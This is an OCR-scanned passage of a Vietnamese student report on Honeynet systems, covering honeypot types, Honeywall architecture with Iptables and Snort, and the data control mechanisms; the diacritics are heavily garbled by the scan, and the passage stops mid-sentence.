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CHUONG I: TONG QUAN VE HE THONG HONEYNET

Chuong nay s& trinh bay kién thtc tong quan, co ban vé Honeynet bao gom: ngudn
g6c, qué trinh phat trién caa Honeynet, cac khai niém vé Honeypot, Honeynet, phan
loai Honeypot va chirc nang, vai tro, y nghia cia Honeynet trong nhiém vu dam bao an
ninh mang, cung véi mot s6 md hinh trién khai trén thé gidi.
1.1.HONEYPOT

1.1.1.Khai niém

Thuat ngir “Honeypot” duoc nhic dén lan dau tién vao ngdy 4 thang 8 nim 1999
trong bai bao “To Buil a Honeypot” cua tac gia Lance Spitzner - mot trong nhirng
ngudi dang ra thanh lap du an Honeynet (Honeynet Project ), giéi thiéu vé y twong xay
dung hé théng Honeynet nham muc dich nghién ctru cac ky thuat tin cong caa Hacker,
tir 6 ¢6 bién phap ngin chan tan cong kip thoi. Va thang 6 nam 2000, dy 4n Honeynet
duoc thanh 1ap baéi 30 chuyén gia an ninh mang ¢ cac cong ty bao mat nhu:
Foundstone, Security Focus, Source Fre,..., tinh nguyén tham gia nghién cuu phi lgi
nhuan.

Du 4n Honeynet duoc trién khai & 8 quoc gia ( My, An Do, Hy Lap,...) v6i 12 tram
Honeynet, bao gom 24 hé thong Unix va 19 hé thong Linux, cung véi mot s6 hé thong
khac nhu : Suse 6.3, Suse 7.1, Window,...

Honeypot 1a mot hé thong tai nguyén thong tin dugc xay dung véi muc dich gia
dang danh Itra nhirng ké sir dung va xam nhap khdng hgp phép, thu hat su chd y cua
chung, ngin khong cho chiing tiép xuc véi hé thong that.

Honeypot c6 thé duoc xem nhu “Mit ong” va tat nhién 1a Honeypot ciing phai c6
“Mat ngot” tirc 12 c6 chira cac hé théng tai nguyén thong tin c6 gia tri, nhay cam, c6
tinh bi mat nhu : thong tin tai khoan & cac ngan hang, théng tin bi mat an ninh qudc
gia..., dé 1am “moi” du hacker chu y dén tan cong.

Hé thdng tai nguyén thong tin c¢6 nghia 1a Honeypot c6 thé gia dang bat cir loai may

chu tai nguyén nao nhu la Mail Server, Domain Name Server, Web Server..., duoc cai



dat chay trén bat ctr hé diéu hanh nao nhw: Linux ( Red hat, Fedora...), Unix( Solaris),

Window ( Window NT, Window 2000, Window XP, Window 2003, Vista,.....),

Honeypot s& truc tiép twong tac vai tin tic va tim céch khai thac thong tin vé tin tic

nhu hinh thtc tin cdng, cong cu tin cdng hay cach thirc tién hanh thay vi bi tan cong.
1.1.2.Phan loai Honeypot

Honeypot duoc chia 1am hai loai chinh: Twong tac thip va twong tac cao

e Tuong tac thap: Honeypot chi cai dit chuong trinh (chang han nhu: Honeyd,
BackOfficer Friendly, Specter) m6 phong gia cac dich vy, ing dung va hé
diéu hanh. Loai nay c6 muc d6 rui ro thap, dé trién khai va bao dudng nhung
lai bi gii han vé dich vu.

e Tuong tac cao: Honeypot dugc cai dat, chay cac dich vu, tng dung va hé
diéu hanh thyc ( chang han nhu Honeynet ). Loai ndy c6 mtc do thong tin
thu thap dugc cao nhung mirc d6 rai ro cao va tén thoi gian dé van hanh va
bao dudng.

Pén day thi cling di thay rd dugc vu va khuyét diém gira hai mé hinh. M6 hinh
tuong tic cao lam cho muc dich trién khai hé thong Honeynet ngay cang hoan thién
dung v6i nhiém vu cua no 1a thu thap tat ca phuong phap, k¥ thuat tan cong, céng cu
ma hacker sir dung. Do d6 trong dé tai nay nhom da chon mé hinh twong tic cao vao

viéc trién khai thuc té, cu thé 1a Honeynet thé hé thir ba.

Examples of Honeypots

Low Interaction

+ BackOfficer Friendly
+ Specter

* Honeyd

* Honeynets

High Interaction

Hinh 1.1.2 - Cac loai hinh Honeypot

Mot s6 vi du vé cac loai honeypot :



a. BackOfficer Friendly (BOF):

La mét loai hinh Honeypot rat dé van hanh va cu hinh, cé thé hoat dong trén bat
Ki phién ban ndo ciia Windows va Unix nhung nhuoc diém cua no 1a chi twong tac
duoc voi mot sé dich vu don gian nhu FTP, Telnet, SMTP...

b. Specter:

Day ciing 13 loai hinh Honeypot twong tac thdp nhung c6 kha ning tuong tac tot
hon so vé6i BackOfficer, loai Honeypot nay c6 thé gia lap trén 14 cong va c6 thé canh
bao, quan Iy tir xa. Tuy nhién, ciing gidng nhu BackOfficer thi Specter c6 nhugc diém
la bi gidi han s6 dich vu va khéng linh hoat.

c. Honeyd

Loai Honeypot nay c6 thé lang nghe trén tat ca cac cong TCP va UDP, nhiing dich
vu md phong dugc thiét ké véi muc dich ngin chin va ghi lai nhitng cudc tan cong,
tuong tac véi ké tin cong trong vai tro 1a mot hé théng nan nhan.

Hién nay, Honeyd cd nhiéu phién ban va c6 thé mé phong duoc khoang 473 hé diéu
hanh.

Honeyd Ia loai hinh Honeypot twong tac thap c6 nhiéu wu diém tuy nhién Honeyd
c6 nhuoc diém 1a khdng thé cung cap mot hé diéu hanh that dé twong tac vai tin tic va
khong c6 co ché canh bao khi phat hién hé théng bi xam nhap hoic gap phai nguy
hiém.
1.2.HONEYNET

1.2.1.Khai niém

Mot trong cac cong cu chinh ma nhém du an Honeynet st dung dé thu thap théng
tin 12 Honeynet. Honeynet khéc véi cac hé théng Firewall, hé théng phat hién va ngin
chan xam nhap: cac hé thong tuy déu c6 kha ning bao vé hé théng mang va tai nguyén
mang nhung cac hé thdng nay déu la thuc hién nhiém vy “phong thu”, mang tinh thy
dong, nguoc lai, Honeynet lai 1a hé théng chu dong 16i kéo, thu hit sy chl ¥ va tan
cong cua hacker nham thu thap cac théng tin cua hacker nhu: k¥ thuat tan cong , cong

cu hacker sir dung, cac loai ma doc méi duoc xuat hién, ...



Honeynet (tam goi 1a “Té ong”) 1a mot hinh thic cua honeypot tuong tic cao.
Khéc véi cac honeypot khac, Honeynet 1a mot hé thng that, hoan toan giéng mot
mang 1am viéc binh thudng va Honeynet cung cap cac hé thdng, tng dung, cac dich vu
that nhu : Web, Malil, File server,...

Hé théng Honeynet c6 thé trién khai xay dung & nhiéu co quan, t6 chic véi nhiéu
muc dich khic nhau nhu: Cac co quan nha nuéc, doanh nghiép c6 thé st dung
Honeynet nham kiém tra d6 an toan caa hé thdng mang ciia minh va ngin chin ké tan
cdng tan cdng vao hé thong that, cac co quan, t6 chirc, doanh nghiép hoat dong trong
linh vuc an ninh mang c6 thé st dung Honeynet nham thu thap cac loai ma doc hai
méi nhu: virus, worm, spyware, trojan,..., dé kip thoi viét chuong trinh c4p nhat diét
mi doc cho san pham Anti-virus.

Quan trong nhat khi xay dung mot hé thong Honeynet chinh 12 Honeywall. Céc
ludng dir liéu khi vao va ra tir honeypot déu phai di qua Honeywall. Dé kiém soét cac
ludng dit liéu nay, cling nhu thu thap cac diu hiéu tin cong va ngin chin tin cong cua
cac hacker thi Honeywall sir dung hai cdng cu chinh la:

e Mot 12 IDS Snort (hay con goi la IDS sensor) gom c6 cac luat ( Rule ) dinh
nghia cac dau hiéu tin cong va thuc hién hién bét cac goi tin ( Packet ).

e Hai la Firewall Iptables gom c6 cac luat (Rule) dinh nghia sy cho phép(Allow)
hoac khdng cho phép (Deny) cac truy cap tu bén ngoai vao hoac bén trong hé

thdng ra va kiém soat cac ludng dix liéu qua Honeywall.



192.168.1.254

T T T
192.168.1.15  192.168.1.20  192.168.1.23

I | |

Honeywall
Gateway

‘T

Honeypot Honeypot Honeypot
192.168.1.101 192.168.1.102 192.168.1.103

Hinh 1.2.1 - M@ hinh kién tric Honeynet
Véi mé hinh nay Honeywall gdm c6 3 card mang 14 : ethO, ethl, eth2 . Card
mang ethO thi két néi véi Production Network, card ethl thi két ndi voi céc
Honeypot, con card eth2 két ndi véi Router. Khi hacker tir bén ngoai Internet tan
cong vao hé thong thi cac Honeypot sé dong vai tro 1a hé thong that twong tac véi
hacker va thuc hién thu thap cac théng tin cua hacker nhu : dia chi IP, k§ thuat tin
cong, cac cong cu ma hacker sir dung ... Cac thong tin nay déu sé bi ghi lai trén
Honeywall va dugc cac chuyén gia an ninh mang sir dung dé phan tich ki thuat tan
cong , qua d6 danh gia duoc mirc do an toan cua hé thong va cé bién phéap kip thoi
khac phuc cac diém yéu ton tai trong hé thong .
1.2.2.Cac chirc nang cua Honeynet
a. Diéu khién dir liéu
Khi hacker sir dung cac ma doc ( nhu : virus, trojan, spyware, worm,...) dé tham
nhap vao hé théng Honeynet, thi hai cong cu IDS Snort va Firewall Iptable ¢ trén
Honeywall s& thuc hién kiém soat cac hoat dong cua cac loai ma doc ndy, ciing nhu
cac hanh vi ma hacker thyc hién trén hé thong, dong thoi dua ra cac canh bao cho

ngudi quan Iy hé théng biét dé kip thoi xir 1y.



Cac ludng dir liéu khi di vao khong bi han ché, nhung khi di ra ngoai thi s& bi han
ché . Chinh vi vay ma hacker s& rat kho khan, tham tri néu hé théng Honeynet dugc
cau hinh tét thi hacker s& khong thé thu thap duoc day du thdng tin vé hé thong, diéu
nay ciing c6 nghia 1a hacker s& khdng thé xam nhap thanh céng vao hé théng mang.

b. Thu nhan di liéu

Khi dit liéu di vao thi Honeynet s& xem xét va ghi lai tat ca cac hoat dong c6 tinh
pha hoai va sau d6 s€ phan tich cac dong co hoat dong cua tin tac va chinh cong cu
Snort trén Honeywall thyc hién chtic ning nay. Dua trén cac luat ( rule) dinh nghia dau
hiéu tan cong ma Snort s& cho rang mot hoat dong c6 duogc coi 1a hoat dong cé tinh pha
hoai hay khong, néu phai né sé& thuc hién ghi lai log va dua ra cac canh bao. Nho vay,
ma toan bo qua trinh tan céng cua hacker déu s& duoc ghi lai mot cach chi tiét.

c. Phan tich dix liéu

Muc dich chinh ctua honeynet chinh Ia thu thap thong tin. Khi da c6 thong tin thi
ngudi ding can phai ¢ kha nang dé phan tich cac thong tin nay. Bé thuc hién tét cong
viéc nay, doi hoi ngudi phan tich phai c6 mét kién thirc rat tét vé an ninh mang, phai
am hiéu vé cac ky thuat tin cdng mang.

d. Thu thap di lisu

Trong tuong hop hé théng trién khai nhiéu Honeynet thi phai thu thap dir liéu tir
cac honeynet vé mot ngudn tap trung. Thuong thi chi c6 cac cac to chuc, trung tam an
ninh mang 16n c6 quy md toan cau thi ho méi trién khai nhiéu honeynet, dic biét 1a
cac cong ty cung cap cac san pham diét virus nhu: Trend Micro, Symantec,... Con da
s6 cac t6 chuc chi cd mot Honeynet.

1.2.3.Mét s6 md hinh trién khai Honeynet trén thé gigi
Tiép theo 1a mot sé md hinh trién khai hé théng Honeynet trén thé gi¢i nham nghién

ctru, thu thap thong tin ky thuat tin céng caa hacker trén mang.

a. M0 hinh trién khai Honeynet caa Dai hoc Béc Kinh - Trung Quéc
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Red Linux 9.0  Windows 2000 Windows XP

Production Network

Physical Honeypot
Virtual Honeypot

Honeynet links mwcollect/nepenthes

‘ "5@

Secure links

Hinh 1.2.3a - So db trién khai du 4n Artemis dai hoc Bac Kinh, Trung Quéc
Hinh 1.2.3a la so dd trién khai Honeynet tai dai hoc Bic Kinh, Trung Quédc trong
mot du 4n cd tén 1a Artemis. Hién tai, du an dang trién khai trén nén Honeynet thé hé
th 111, md hinh trién khai gom ba honeypot véi cac hé diéu hanh khac nhau: Red Hat
Linux9.0, Windows XP, Windows 2000 va cac honeypot ao duoc gia lap chuong
trinh honeyd. Va & mé hinh nay, Honeywall gom cé 3 card mang:
e Card thir 1 dugc két ndi véi 1 Router bén ngoai
e Card thir 2 duoc két néi voi cac Honeypot bén trong
e Card thir 3 thi duogc két ndi an toan véi may Console
Khi hacker tin cong vao thi ba Honeypot va Honeypot 40 sé& twong tac véi hacker
va tién hanh thu thap cac thong tin nhu: dia chi IP caa may hacker st dung, cac tool
ma hacker dung, cach thuc hacker thAm nhap vao hé thng...
Toan bd qua trinh tin coéng cua hacker s& duoc Honeywall ghi lai va dua ra céac

canh bao ( Alert ) cho ngudi ding biét.

b. M@ hinh trién khai Honeynet trong du 4n Honeynet tai Hy Lap
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Eed Hat 3.0
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Honepd Host: =
Ms Windows XP Pro SP1
Linux 2.4.20
Solaris 3
Cizco 1601R Tos 12.1(5}

Hinh 1.2.3b - So d6 trién khai Honeynet cua Greek Honeynet Project

Hinh 1.2.3b 1a so dd trién khai Honeynet trong du 4n Honeynet tai Hy Lap, hé
théng Honeynet sir dung Honeywall phién ban roo-1.0.hw-189, mét honeypot véi hé
diéu hanh Red Hat 9.0 (DNS Server) va bon honeypot 4o gia lap bang honeyd cac hé
diéu hanh: MS Windows XP Pro SP1, Linux 2.4.20, Solaris 9 va Ciscol601R 10S
12.1.

Trong md hinh nay, Honeywall ciing c6 ba card mang va so dd trién khai ciing
gan giéng vai mo hinh trién khai cua Dai hoc Bac Kinh nhung chi khéc ¢ chd giita
may Console (Remote Management and Analysis Network) va bén may Honeypot o0
c6 thém mot Firewall. Firewall nay sé dam bao bao vé an toan cho may Console ngay

ca khi hacker kiém soat duoc cac Honeypot 40 nay.

c. Md hinh trién khai Honeynet trong du 4n Honeynet tai Anh
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Radha: 7.3

Hinh 1.2.3c - So db trién khai Honeynet cua UK Honeynet Project
Cubi cung l1a so db trién khai Honeynet caa du an Honeynet tai Anh. Trong mo

hinh nay, ho da trién khai bon Honeypot véi cac hé diéu hanh: Red hat 7.3, Fedora
Core 1, Sun Solaris 7, Sun Solaris 9. Md hinh nay ciing gan giéng véi hai md hinh
trén, chi khac nhau & chd may Console ngoai két ndi toéi Honeywall thi con két ndi
v6i Router va dugc bao vé bang mot Firewall diing gitra.

1.3.VAI TRO VA Y NGHIA CUA HONEYNET

Qua cac phan trén, ta c6 thé tom tat lai vai trd va y nghia ctia Honeynet nhu sau:

e Honeynet gidp tim hiéu, thu thap cic phuong phap - k¥ thuat tan cbéng cua
hacker, cac cong cu hacker st dung, dic biét 1a cac ky thuat tin cong méi |
c4C mau virus- ma déoc maéi...Nho do co nhiing phan tich, dinh hudéng muc
tiéu tin cdng, thoi diém tin cdng, k¥ thuat tan cong,... caa hacker. Tir do, kip
thoi dua ra cac du bao, canh bao sém dé moi ngudi phong tranh.

e Honeynet 1a méi truong thr nghiém cé kiém soét an toan gidp sém phat hién

ra cac 16 hong bao mat ton tai trén cac san pham coéng nghé thong tin da trién
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khai cai dat trén hé thdng that (dac biét 1a cac 16 hdng Zero — day). Tur do,
sém ¢6 bién phap tng pho khic phuc kip thoi. Bong thoi, honeynet ciing giup
kiém tra d6 an toan cua hé théng mang, cac dich vu mang ( nhu : Web, DNS,
Mail,...) va kiém tra d6 an toan tin cay chat lwong cta cac san pham thuong
mai céng nghé thong tin khac ( dic biét 1a cac hé diéu hanh nhu: Unix, Linux,
Window,...).

e Thu thap céc thdng tin, dau vét cia hacker ( nhu : dia chi IP cia may hacker
sir dung tan cong, vi tri dia Iy cua hacker, thoi gian hacker tin cong,...). Tur
do, gitp chuyén gia an ninh mang truy tim thu pham.

Két luan: qua chuong ndy, chiung ta di c6 nhiing hiéu biét, kién thirc co ban vé
Honeynet cing vai vai trd va muc dich cua viéc xay dung - trién khai hé théng nay va

chung ta cling da biét mot s6 mo hinh Honeynet da duoc trién khai trén thé gioi.
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CHUONG II: MO HINH KIEN TRUC HONEYNET

2.1.MO HINH KIEN TRUC VAT LY

2.1.1.Mb hinh kién trac Honeynet thé hé |

M6 hinh Honeynet thé hé | gdbm mét mang riéng biét duoc tao ra dit dang sau mot
thiét bi diéu khién truy nhap mang, thuong 1a tuong lia (Firewall) va bat ky ludng di
licu vao ra Honeynet déu phai di qua tuong lira. Honeynet duoc b tri trén mot mang

riéng biét véi viing mang san xuat dé giam nguy co mat an toan cho hé théng.

0

Genl Honeynet
Cac Honeypot
== I E—D
Switch Routor
I Firewal
- - |
|§| . . |
— L ] »
Log server Solaris Windows XP Unux —
Honeypot Honeypot Honeypot  Honeypot 05
S
o |*
==
sorver

Hinh 2.1.1 - M6 hinh kién trtc vat ly Honeynet thé h¢ |
O mo hinh Honeynet thé hé | nay thi hé théng tuong lia (Firewall) va hé thong
phat hién xam nhap ( Intrusion Detection System — IDS) 14 hai hé théng doc lap nhau.
Pay chinh 1a sy khac biét gitra Honeynet | vai Honeynet 11 va Honeynet [11. G mé hinh
Honeynet 11 va 111 thi hai hé thdng Firewall va IDS dugc két hop thanh mot hé thdng
Gateway duy nhat 12 Honeywall.
Trong hé thong Honeynet, Firewall giir vai trd kiém soat cac ludng dir liéu ra vao

hé théng nham chi cho hacker tin cong vao Honeynet va ngin chin khong cho hacker
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tan céng vao viing mang san xuat hay khdng cho hacker bién Honeynet 1am céng cu dé
tan cdng cac hé thng mang bén ngoai. Firewall thuc hién dwgc nhiém vu nay 1a dua
vao cac luat (Rule) dinh nghia su cho phép (Allow) hoac khéng cho phép (Deny) cac
truy cap tir ben ngoai vao hoic bén trong hé théng ra.

Bén canh Firewall, Honeynet con bé tri hé thong phét hién xam nhap 1DS-Snort.
Snort c6 nhiém vu kip thoi phat hién va ngan chin cac ki thuét tn cong di duoc biét,
da duoc dinh nghia trong tap luat (Rule) caa Snort (Cac luat cua Snort dinh nghia cac
dau hiéu, cdc mau tan céng mang). Snort thuc hién nhiém vu kiém tra noi dung cac goi
tin va so sanh noi dung cac gai tin nay voi tap luat. Khi Snort phat hién thay cac goi tin
c6 nodi dung gay nguy hiém cho hé thng mang thi Snort s& chin céc goi tin nay lai dé
ngan chin tan céng cua hacker vao hé théng va dua ra canh bao cho ngudi quan tri
biét.

2.1.2.Mb hinh kién trac Honeynet thé hé 11, 111

Honeynet thé hé II duoc phat trién vao nim 2002 va Honeynet thé hé III duoc dua
ra vao cudi nam 2004. V& co ban, Honeynet 11 va Honeynet 111 c6 cing mét kién trc.
Piém khac biét chinh 1a Honeynet 111 cai tién viéc trién khai va quan ly.

Mot thay dbi co ban trong kién tric cua Honeynet Il va Honeynet Il so Vi
Honeynet I 1a sir dung mét thiét bi don 1¢ diéu khién viéc kiém soat dir liéu va thu nhan
dir liéu dugc goi la Honeywall (Honeynet Sensor).

Honeywall 1a su két hop chic ning cua hai hé thong tuong lua (Firewall) va hé
thdng phat hién xam nhap 1DS caa mé hinh kién tric Honeynet I. Nho vay ching ta dé
dang trién khai va quan 1y hon.

Sy thay d6i trong Honeywall chu yéu & module kiém soét dit lidu. Honeywall 1am
viéc ¢ tang hai (trong mo6 hinh OSI) nhu 14 mot thiét bi Bridge. Nho su thay d6i nay ma
Honeynet II, Honeynet IIT d4 khién cho ké tan céng kho phat hién ra 1a ching dang
turong tac v6i hé thong “bay” Honeynet vi hai dau card mang cua ethO (két ndi voi
mang bén ngoai Honeynet phia hacker) va ethl (két néi voi Honeynet) déu khéng cé

dia chi mang IP. Vi vay, Honeynet hoan toan “trong sudt” voi hacker.

16



000 =

Production Production Production  192.168.1.254
192.168.1.15 192.168.1.20 192.168.1.23

Honeywall
Gateway

= 2 2

Honeypot Honeypot Honeypot
192.168.1.101 192.168.1.102 192.168.1.103

Hinh 2.1.2 - M& hinh kién triic Honeynet thé hé I, 111

2.1.3.Hé thong Honeynet a0

Viéc trién khai xay dung hé thong Honeynet yéu cau mot lugng I1on thiét bi phan
cting tly theo quy mé cua hé théng Honeynet ma chiing ta can trién khai. Nham giam
chi phi dau tu mot lugng 16n thiét bi phan cimg trén, nguoi ta dua ra mot mo hinh kién
trdc Honeynet méi. D6 1a mé hinh kién tric hé théng Honeynet 4o.

Vé mit ban chat, mé hinh nay co ban van giéng nhu Honeynet II va III, van sir
dung mot Honeywall Gateway nhung chi khac ¢ chd Honeynet a0 1a mot mé hinh kién
trdc vat ly mai cua Honeynet nham trién khai hau nhu toan bo hé théng Honeynet trén
mot hé théng may don ( may that). Muc dich dé lam giam chi phi xay dung hé thdng
Honeynet va dé dang cho viéc quan ly.

Bén canh nhitng wu diém, hé thong Honeynet ao ciing c6 mot s6 han ché 12 bi gioi

han hé diéu hanh va kién trac duoc hd tro bai phan mém.
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May o - Honeypot
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Hinh 2.1.3 - M6 hinh Honeynet ao

So do trén gdm hai may tinh vat ly: may tha nhat 1a Honeynet gateway (cai
Honeywall) hoat dong ciling nhu & md hinh Honeynet 11, 111 12 kiém soat dir liéu, thu

nhan di liéu cho Honeynet. Va trén may thi hai thi cai dat nhiéu hé diéu hanh may ao,

mdi hé diéu hanh may 4o 1a mot honeypot.

Tom lai: trong cac md hinh kién trdc Honeynet trén thi ngay nay mé hinh Honeynet
40 la phd bién hon ca. Tuy nhién, hoat dong cia Honeynet trong md hinh nay van
gidng nhu hoat dong ciia Honeynet ILIII va co ban giéng nhu Honeynet I. Phan trinh

bay cuia dé tai vé mé hinh kién tric logic ciia Honeynet du6i ddy s& cho ching ta hiéu

rd vé phuong thirc hoat dong, lam viéc cia hé théng Honeynet.

2.2.MO HINH KIEN TRUC LOGGIC

DU Honeynet duoc trién khai xay dung theo mé hinh nao, & thé hé Honeynet nao di

nira thi Honeynet van ¢6 md hinh kién trac logic chung nhu sau:
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Hé thong Honeynet

Lu?ng théng tin m> Diéu khién dir liéu |, Chinh_sich
: . L1 (Kiém soat dir liéu) (IPtables + Snort)
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¥ e —
n . —

Thu nhin dir liéu . p——

(Sebek client-server)

dir Liéu

Phan tich dir liéu | \‘—_/

l

Két qua phan tich

Hinh 2.2 - M6 hinh kién trdc logic caa Honeynet
Trong mét hé théng Honeynet bao gom ba module chinh :

Module diéu khién dir liéu (kiém soat dir liéu): nhiém vu cua module nay Ia
kiém soat dir liéu ra vao hé théng Honeynet, kiém soat hoat dong cua ké tan cong, ngin
chan ké tin cong sir dung hé thdng mang Honeynet dé tin cdng hay gay ton hai cho cac
hé théng bén ngoai khéc. Bé thuc hién dugc nhiém vu nay, Honeynet da st dung hai
cbng cu chinh la Firewall-1ptables va IDS-Snort.

Module thu nhan dir liéu : nhiém vu cua module nay la thu thap théng tin, giam
sat va ghi lai cac hanh vi cta ké tan cong bén trong hé théng Honeynet. B¢ thyc hién
duoc nhiém vu nay Honeynet da stir dung cong cu Sebek client- server.

Module phan tich dit liéu : nhiém vu cia module nay 1a ho tro phan tich dir liéu
thu nhan dugc nham dua ra: k¥ thuat, cong cu va muc dich tan cong caa hacker. Tir do,
gitip dua ra cac bién phap phong chéng kip thoi. Walleye, Hflow trong Honeywall s&

thuc hién nhiém vu nay.
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Pé gilp hiéu rd hon vé hoat dong cua hé thong Honeynet, dé tai s& tiép tuc phan
tich ki hon vé ba module nay.
2.2.1.Module diéu khidn di liéu (kiém soat di liu)

2.2.1.1.Vai tro - nhiém vu

Khi Honeynet khong cd su kiém soat dix liéu thi hé théng s& phai di mat véi
nhiing nguy co 1én nhu :

- Ké tan cong c6 thé chiém duoc quyén kiém soat Honeynet va thuc hién céac
hanh vi pha hoai hé théng.

- Honeynet bj ké tan cong loi dung bién thanh cong cu dé tin cong vao cac hé
théng mang bén ngoai khac ...

Tir d6 dat ra yéu cau 1a can phai c6 co ché kiém soat dix liéu, cu thé 1a:

- Tht nhit 14 cho phép ké tan cong tin cong vao bén trong hé théng Honeynet
nhung phai Kiém soat dugc cac hanh vi caa ké tan cong.
- Thu hai 12 ngdn chan, loai bo cac tan cong cua ké tan cong ra bén ngoai.

Nhiém vu cua module diéu khién dir liéu 1a ngin chan ké tin cong sir dung hé
thdng mang Honeynet dé tan cong hay gay ton hai cho cac hé théng bén ngoai khéc.
Khi mot honeypot bén trong Honeynet bi hacker kiém soét, ching ta phai kiém ché
hoat dong va dam bao honeypot khéng bi st dung dé gy ton hai cho cac hé thong
khéac.

Kiém soat dit liéu 1am giam nhe nguy co de doa, nd kiém soat hoat dong cua ké
tan cong bang viéc gisi han cac ludng thong tin vao - ra trong hé thong mang
Nguy co de doa & day, d6 1a mot khi ké tin cong gay ton hai ti hé théng bén trong
Honeynet, chdng c6 thé sir dung chinh hé théng Honeynet nay dé tin cong cac hé
théng khac bén ngoai hé thong Honeynet. Ké tan cong phai bi kiém soat dé n6 khéng
thé thyuc hién diéu d6. Yéu cu dat ra 1a module diéu khién dit liéu phai hoat dong tét
sao cho ké tan cdng chi thuc hién cac tan cong vao hé théng Honeynet ma khong gay

t6n hai toi cac hé thong khéac & bén ngoai.
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Hinh 2.2.1.1 - M6 hinh kiém soat dix liéu trudc va sau khi c6 module
Véi mo hinh kiém soét dit liéu nay thi thong tin di vao Honeynet khong bi han ché
nhung thong tin di ra thi bi han ché, bi kiém soéat cht ché.
2.2.1.2.Co ché

Viéc kiém soat dir liéu dugc thuc hién ngay tai Gateway (Honeywall) va dya trén

hai co ché 1a:

- Mot la giéi han s6 luong két ndi ra bén ngoai

- Hai la loc go6i tin doc hai - Packet Scrubbed.
Pé hiéu duoc co ché kiém soat dit liéu, chling ta s& di vao tim hiéu timg co ché nay.

a. Gidi han sé luong két ndi ra bén ngoai

Co ché nay cho phép bat ky két ndi nao di vao nhung lai gigi han kiém soét s6
luong két ndi ra bén ngoai va khi dat téi gigi han thi tat ca cac két ndi ra bén ngoai veé
sau s& bi chan lai. Co ché nay duoc thuc hién thong qua sir dung Firewall Iptables,
Firewall phai tinh s6 luong két ndi ra bén ngoai va khi dat t&i giéi han nao d6 hé thong
s& chan céc két ndi vuot qua. Nho vay ma giam thiéu nguy co ké tin cong sir dung hé

thdng Honeynet 1am cong cu dé thuc hién tan cong vao cac hé thong bén ngoai khac
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Viéc gidi han duoc thiét 1ap bai nguoi quan tri, khdng c6 mot quy tac gisi han cu
thé ndo cb dinh cho module diéu khién dit liéu, nguoi thiét ké hé thdng cin ctr vao yéu
cau va muc dich cua hé thong dé dua ra céc gidi han phu hop véi tinh hinh thyc té.

Tom lai, s6 lwong két néi cho phép di ra bén ngoai tuy thudc vao cai ma ching ta
¢ gang tim hiéu va sé luong nguy co ma chung ta chap nhan dbi mat.

b. Loc goi tin doc hai (Packet Scrubbed)

Co ché nay c6 nhiém vu phat hién ra nhitng ludng dix liéu gay nguy hiém cho hé
thng. Co ché loc géi tin doc hai thudng duoc thuc hién bai hé théng ngan chan xam
nhap mac mang NIPS (Network Intrusion Prevention System), cu thé ¢ day 1a Snort.

Muc dich ctia NIPS 1a dé phat hién va ngan chan nhitng tin cong da biét dugc dinh
nghia trong tap luat (Rule) caa NIPS. NIPS thuc hién cong viéc nay bang phuong phap
kiém tra mdi géi tin khi n6 di qua gateway, no thuc hién so sanh noi dung goi tin véi
co sé dit liéu mau tan cong cé san (Rule) nham phat hién ra dau hiéu tan cong.

Khi phét hién ra luong dit liéu tin cong, hé théng sé thuc hién cac bién phap ngan
chan tan cong thich hop. Trén thuc té, NIPS thuc hién ngin chin bang viéc loai bo goi
tin hoac thay thé, stra chira goi tin.

Tom lai, co ché loc géi tin doc hai dugc thuc hién thdng qua hé théng ngan chan
xam nhap mac mang NIPS (Network Intrustion Prevention System), cu thé & day 1a hé
théng Snort.

2.2.1.3.Kiém soét dir liéu trong Honeynet 11

Honeynet duoc phat trién qua ba thé hé 1a 1, 11 va I11. Vé mat ban chat thi ca ba thé hé
nay déu co cach thic kiém soat dir liéu gan giéng nhau. Tuy nhién thé hé 11,111 co
nhitng diém cai tién nang cao hon sao vé&i thé hé 1. Vi vay, chlng ta s& phan tich vé
kiém soét dir liéu trong Honeynet II dé minh hoa cho module kiém soat dir liéu cua
Honeynet.

a. Tuong lua Iptables

Iptables cung cip cac tinh ning sau:

- Tich hop tét véi nhan (kernel) cua Linux.

- Co0 kha nang phan tich goi tin (package) hi¢u qua.
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- Loc goi tin dya vao dia chi MAC va mét sé co hiéu trong TCP Header
- Cung cap chi tiét cac tiy chon dé ghi nhan sy kién hé thong .

- Cung cap ky thuat NAT

- C6 kha ning ngan chin mot sé co ché tin cong theo kiéu Dos

Co ché xtt ly gdi tin (package) trong Iptables

Iptables s& kiém tra tat ca cac goi tin di qua nd, qua trinh kiém tra nay dwoc thuc
hién mot cach tuan tu.

Iptables co ban gém ba bang Filter, Mangle, Nat va cac chain trong mdi bang. Vi
chung ngudi quan tri co thé tao ra cac rules cho phép cac goi tin vao ra hé thong (duoc
bao vé bang iptables) tuy theo y mudn cia minh. Chirc ning cu thé cta ching nhu sau:

Mangle: dung dé chinh sira QOS(quality of service) bit trong phan TCP Header cua
goi tin

Filter: dang nhu tén goi, n6 dung dé loc cac goi tin gom cac build-in chain

- Forward chain: loc nhimg goi tin di qua hé théng (di vao mot hé théng khéc).

- Input chain: loc nhimg goi tin di vao hé théng.

- Output chain: loc nhitng géi tin di ra tir hé thong.

Nat: stra dia chi goi tin gdm céc build-in chain

- Pre-routing: stra dia chi dich cua goéi tin trudc khi né dugc routing boi bang

routing cua hé thdng (destination NAT hay DNAT).

- Post-routing: nguoc lai véi Pre-routing, n6 sira dia chi nguén cua goi tin sau khi

g6i tin da duoc routing bai hé théng (source NAT hay SNAT).
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Hinh 2.2.1.3a — Qué trinh loc va xur ly goi tin trong Iptables

b. IDS Snort

Trong viéc kiém soat dir liéu cia Honeynet, Snort dong vai tro hét sirc quan trong,
thue hién nhiém vu loc géi tin doc hai. Két hop ciing véi Iptables, Snort thuc hién chan
cac cudc tin cong cua hacker bing cach loc cac géi tin doc hai do hacker tao ra. Khi
phat hién ra goi tin doc hai thi Snort s& thay d6i noi dung gdi tin thanh vo hai hoac
chan cac gai tin nay lai.

Hién tai, trong hé théng Honeynet, Snort da duoc nang cap 1én mot mirc cao hon 1a
Snort_inline. Snort_inline cai tién hon so vai Snort & chd: né chi kiém tra noi dung cac
goi tin sau khi da di qua Iptables (Snort lai 1ang nghe tit ca cac goi tin trén interface
duoc chi dinh). Vi no lang nghe tat ca cac gai tin dén nén viéc xir ly kha cham. Tudng
Itra Iptables cho cac goéi tin di qua vao hang dgi (Queue) va Snort_inline mé ting goi

tin dé kiém tra.
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Hinh 2.2.1.3b — Co ché lam viéc caa Snort

e Co ché loai bo goi tin: trén dudng di ctia cac goi tin tir Honeypot ra bén ngoai
thi phai di qua duoc su kiém tra cua tuong lira Iptables. Cu thé 1a né st dung cac
luat ciia minh dé kiém tra tinh hop 18 cua géi tin. Sau dé, Iptables dua cac géi tin
